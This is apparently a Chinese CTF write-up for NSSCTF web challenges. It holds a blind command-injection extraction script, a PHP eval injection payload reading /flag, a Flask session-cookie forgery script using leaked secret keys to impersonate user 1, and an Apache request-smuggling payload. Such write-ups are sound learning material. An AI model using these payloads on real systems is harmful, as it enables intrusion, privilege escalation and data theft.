本文最后更新于 449 天前,其中的信息可能已经有所发展或是发生改变。
ez_factors
方案一
- 命令注入,在
factors/
路由后传递参数,直接用;
执行 - 可恶,老喜欢打盲注
import requests
import string
url = "http://node5.anna.nssctf.cn:28126/factors/"
payload = ['if [ $(cat %2fflag | head -c ', ') == "',
'" ]; then echo "50"; else echo "100"; fi']
disc = string.digits + string.ascii_lowercase + "{}-NSCTF"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}
flag = ""
for i in range(1, 100):
status = False
for j in disc:
pld = '1;bash -c "' + payload[0] + str(i) + payload[1] + flag + j + payload[2] + '"'
url2 = url + pld
res = requests.get(url=url2, headers=head)
# print(res.text.split()[-1], j)
if res.text.split()[-1] == "50":
print(j, end='')
flag += j
break
方案二
- 官方解,gtg师傅太强啦!!!
- 每位字符转8进制
$(cat %2Fflag | cut -c {str(position)} | od -An -vto1 | tr -d ' %2Fn')
- 看了看源代码,就是在输出的时候只保留了数字
方案三
- linux od 命令,转换为8进制
od /flag -b
MyWeb
- 源代码
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧
if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}
- 每次写文件的时候把
]
转换成新输入的值,那想办法闭合一下就行了 /tmp/data.json
初始内容为[1]
- 第一次访问
?mode=save&value=test]
,被写为
[1, 'test]']
- 第二次访问
?mode=save&value=,test][2];//
[1, 'test, ',test][2];////']', ',test][2]////']
- 此时在eval()执行时,后面的部分被注释,只剩余
[1, 'test, ',test][2];
eval("$data = [1, 'test, ',test][2]");
- 将第二次换为
?mode=save&value=,`cat /flag`][2];//
- 最后读取
?mode=read
flask?jwt?
- 我是个瞎子,没看到
key
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>忘记密码</title>
<link type="text/css" rel="stylesheet" href="/static/css/password.css">
<script type="text/javascript" src="/static/js/jquery-1.11.1.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
var height=$(document).height();
$('.main').css('height',height);
})
</script>
</head>
<body>
<div class="main" style="height: 919px;">
<div class="main0">
<div class="formBox">
<form action="" method="post">
<h3>登录密码重置</h3>
<ul>
<li class="mainCol firLi">>身份验证</li>
<li>>登录密码重置</li>
<li class="lastLi">>重置完成</li>
</ul>
<img src="/static/img/line.png">
<div class="itembox">
<label>邮箱号 :</label>
<input type="text" placeholder="请输入注册邮箱号" name="email">
</div>
<div class="btnBox">
<button type="submit">发送重置密码邮件</button>
</div>
</form>
</div>
</div>
<div class="footer">
<div class="footer0">
<div class="footer_l">使用条款 | 隐私保护</div>
<div class="footer_r">
<span>© C4skg</span>
<span>有问题请发送邮件至 adm1n@flag.com </span>
</div>
</div>
</div>
</div>
<script>
</script>
</body></html>
<!-- secretkey: th3f1askisfunny -->
- 先解密
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(".eJwlzjsOwjAMANC7ZGawk_iTXqay41iwtnRC3J1KjG97n7Lnsc5n2d7HtR5lf0XZCnQLHRgBiYO6wGQOU5kcbgwqSsTW3GeHXBZDZpVOMpFqd7LwzmAgjQfRwjRfTTXNMBvibdFAYYWKGQA1gSFwqie6rOzljlznOv6bWr4_vCwvUw.ZHxHLg.lmuGf0HqjEIzugEc3dKKEaYqLHM".encode()))
{'_fresh': True, '_id': '04ad891dd0f195470c66da87c6dba60878556a3bbc40fead97c27457c1524b5adb460a0736955e1fabe388faa1f3111fa78d1768021fd002f060d1c8bf1b7ef4', '_user_id': '2'}
_user_id
改成1,在加密(这玩意为什么解密的时候解不对
# https://github.com/noraj/flask-session-cookie-manager
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key is None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key is None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
# Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
# prepare sub commands
subparsers = parser.add_subparsers(
help='sub-command help', dest='subcommand')
# create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
# create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
# get args
args = parser.parse_args()
# find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
python flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': '04ad891dd0f195470c66da87c6dba60878556a3bbc40fead97c27457c1524b5adb460a0736955e1fabe388faa1f3111fa78d1768021fd002f060d1c8bf1b7ef4', '_user_id': '1'}" -s "th3f1askisfunny"
- bp改个包,拿到flag
flask?jwt?(hard)
- 瞎子真的不配打CTF Orz,注册登陆后得到
你好 ,JBNRZ
<a href="/getFlag"> <br>
<button>拿 flag</button></a>
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->
- 访问
/wor
路由
哼,我不会告诉你我藏哪里了,但是不能什么都不跟你说吧?哎,告诉你上次的登录时间吧: 2023-06-04 08:19:55+00:00
- 让flask报个错,泄露点儿源代码
(为什么我什么都没干他就报错了)
app.secret_key = 'hardgam3_C0u1d_u_f1ndM3????'
- 同上
信息搜集
- 服务器为:
Apache HTTP Server2.4.55
,存在走私漏洞:CVE-2022-36760- http://www.hackdig.com/03/hack-949961.htm
- index.php有任意文件读取,访问httpd.conf
/usr/local/apache2/conf/httpd.conf
<VirtualHost *:80>
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P]
ProxyPassReverse "/nssctf/" "http://backend-server:8080/"
</VirtualHost>
- 做了个代理转发
- payload
/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt
<?php
echo "flag in here!!!Can you see it???";
$flag = "NSSCTF{6ec2b7b7-84f1-48d0-8ff3-1f03ca070c4d}";
?>
TimeTrcer
- 笑死,web越来越菜了,根本看不懂
- gtg神的官方题解:https://gtg.ink/2023/06/NSSCTFround13WP-TimeTrcer/
- CVE-2023-29017